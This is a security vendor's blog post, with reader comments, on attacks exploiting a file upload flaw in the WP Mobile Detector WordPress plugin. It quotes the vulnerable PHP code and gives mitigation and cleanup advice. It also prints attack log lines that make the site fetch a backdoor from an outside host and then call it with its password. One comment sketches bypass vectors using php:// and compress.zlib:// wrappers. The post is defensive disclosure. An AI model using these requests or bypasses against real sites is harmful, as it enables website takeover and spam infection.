Sucuri Blog

Website Security News

WP Mobile Detector Vulnerability Being Exploited in the Wild

EspanolPortugues

***Update: The WP Mobile Detector plugin has been patched to address the vulnerability. Please update as soon as possible. Note that the latest version don’t fully address the issue and we contacted the developer try to fix it correctly this time.

For the last few days, we have noticed an increasing number of websites infected without any outdated plugin or known vulnerability. In most cases it was a porn spam infection. Our research team started to dig into the issue and found that the common denominator across these WordPress sites was the plugin WP Mobile Detector that had a 0-day arbitrary file upload vulnerability disclosed on May 31st by the Plugin Vulnerabilities team. The plugin has since been removed from the WordPress repository and no patches are available.

The vulnerability is very easy to exploit, all the attacker needs to do is send a request to resize.php or timthumb.php (yes, timthumb, in this case it just includes resize.php), inside the plugin directory with the backdoor URL. This vulnerability was publicly disclosed May 31st, but according to our firewall logs, the attack has been going since May 27th. The good news is that all our customers have been protected via the Sucuri Firewall virtual hardening engine.

This is one of the payloads we are actively seeing in the wild:

188.73.152.166 - - [31/May/2016:23:54:43 -0400] "POST /wp-content/plugins/wp-mobile-detector/resize.php
Payload:src=hxxp://copia[.]ru/mig/tmp/css.php"

The example above uploads the css.php to the cache directory inside the plugin folder. After the upload is completed, the attackers try to access the backdoor:

46.182.30.164 - - [02/Jun/2016:14:25:01 -0400] "POST /wp-content/plugins/wp-mobile-detector/cache/css.php HTTP/1.1"

Payload: pass=dinamit

Using the backdoor password “dinamit”. As far as the vulnerability, the insecure function is inside resize.php at this part of the code:

if (isset($_REQUEST['src'])) {
 $path = dirname(__FILE__) . "/cache/" . basename($_REQUEST['src']);
 if(file_exists($path)){
 ...skipped…
 }else{
 file_put_contents($path, file_get_contents($_REQUEST['src']));
 ...skipped…
 }
 ...skipped…

As you can see, it’s a simple vulnerability that stems from failing to validate and sanitize input from untrusted sources. No security checks are performed and an attacker can feed the src variable with a malicious URL that contains a PHP code.

Unfortunately, at the moment of the release of this post, no updates are available and the plugin has been removed from the repository. We highly recommend everyone to remove this plugin for now. If you really need this plugin, the partial temporary fix will be to disable PHP execution in the wp-mobile-detector/cache subdirectory, for example using this code in the .htaccess file.

<Files *.php>
deny from all
</Files>

Please note that this fix will only save you from executing malware on your server. Hackers will still be able to upload files to the cache subdirectory and use links to them in attacks to third-party sites (iframes, scripts, malicious downloads) or just to host spammy/illegal content. You can also revoke write permissions in the cache subdirectory altogether, but it may break  the plugin functionality.

We have been testing this exploits against the most popular WordPress security plugins offering application level firewalls and other preventive measures, it has successfully evaded all existing preventive controls. Sites behind the Sucuri Firewall have been patched via the systems virtual hardening engine that sits at the edge since its release.

At this moment the majority of the vulnerable sites are infected with the porn spam doorways. You can usually find the gopni3g directory in the site root, that contains story.php (doorway generator script), .htaccess and subdirectories with spammy files and templates. The doorways redirect visitors to hxxp://bipaoeity[.]in/for/77?d=.

If you’re already infected and need help, let us know.

Reader Interactions

Comments

    • Yes, exactly. Two different plugins with a way too similar name 🙂 I had to double check to make sure they were not the same one.

  2. @pluginvulnerabilities:disqus Sorry about that. We added the link there and credited you. You guys are doing some great work, btw. Keep it up.

  3. I checked my logs and found an attempt to use this exploit this morning. I got six GET requests for /wp-content/plugins/wp-mobile-detector/admin/css/style.css, which all returned 301, and one GET for /wp-content/plugins/wp-mobile-detector/cache/css.php, which returned a 404.

    I am not running the wp-mobile-detector plugin, and I do not find a gopni3g directory or story.php anywhere on my server. So I’m good, right?

      • I just found out that I was hacked with this since June. they added several php scripts that would send spam. Luckily I have rate limiter so many emails failed already and clogged my root partition which what alerted me to the problem. They used it only recently. I suspect they also added an admin account. I found one. but Not sure if it is from an old hack. but possible from this one since they can add any php code. they could also modify database to add admin account. I guess a security plugin is a must for wordpress.

  5. Hi,

    Google, Yahoo and Bing search engines are still redirecting my blog to porn sites.

    I removed the gopni3g directory.

    Two blogs were compromised, but when you click on a direct link, everything looks fine?

    What is happening?

    Please advise.

    Thank you,

    Pete

  6. Amateur hour. Always sanitize inputs.

  7. Even my blog got compromised. I un-installed the Mobile Detector plugin and also removed the directories gopni3g and lrob5l. Then I ran anti-virus on my site and it could not detect any Virus. My blog is accessible but as mentioned by @PeterTrapasso:disqus, direct link works fine but the blog does not show updated content.

    Also, the Google Webmasters Tool is searching for gopni3g and lrob5l and is not indexing my site.

    Is there any fix for this issue ? Have been Googling around, but have not found any fix so far.

    @hjsblogger:disqus

    • hi

      please run this command if you have shell access to your web site root

      this is only find out the last file modified by hackers (only at linux servers)

      then you can remove or edit affected files with precaution.(please first the php file the try to remove it)

      find -type f -mtime -7

      this command will find the files modified for last 7 days you can change or increase this number if you couldn’t find the file or files.

    • Hi @hjsblogger:disqus,
      take your blog offline and completely remove the plugin. The attackers
      install a lot of backdoors by uploading PHP-files and modifying
      Wordpress-files. So run the command as espiran said. If you have access
      to any log files of your sever scan them for any .php requests. Watch
      out for files like 4dd4ede2a7.php, css.php, inc56.php, system10.php,…
      Check you uploads folder for PHP-files. A good virus scanner for finding
      infected files is ClamAV. Only put your blog online if you 100% sure to
      have removed the backdoors.

      • Thanks @christophmajewski:disqus Scanned the blog for viruses and it says there are none. Also logged on to server using Putty and removed couple of php files which were injected by the hacker. The blog is online, but as mentioned earlier by many of them (and you :)) I will run the command mentioned and also scan for these files. I could see that the top-search queries that led into blog were all junk. Would further update once I have done them (over this weekend).

  8. Thank you for keeping the community safe and secure.

    I just have some thoughts about the partial fix you proposed and wanted to share them with you

    First,
    Going with the blacklist vector in disabling the execution of specific file extensions fails to protect against the execution of other valid file extensions such as phtml,.php3,.php4,.php5 and phps. so changing the file extension can simply bypass the partial fix

    Second,
    I guess an attacker can use wrappers (or even without wrappers) to play around the vulnerability.

    1- They can use file:// wrapper or relative paths to read arbitrary files on the server

    2- I guess this vector should work in theory if zlib library is available, an attacker can send a crafted gzipped archive in the payload and assign the “src” parameter to something like “compress.zlib://php://input” to decompress the zipped archive sent in the payload.
    And as far as I am concerned this can be used to upload arbitrary files ANYWHERE in the server and I bet it will overwrite existing files.

    So I guess removing the plugin is the only available solution until a fix is released.

  10. Great! Thanks for sharing.

    Tahnk You 🙂 DOUGLAS SANTOS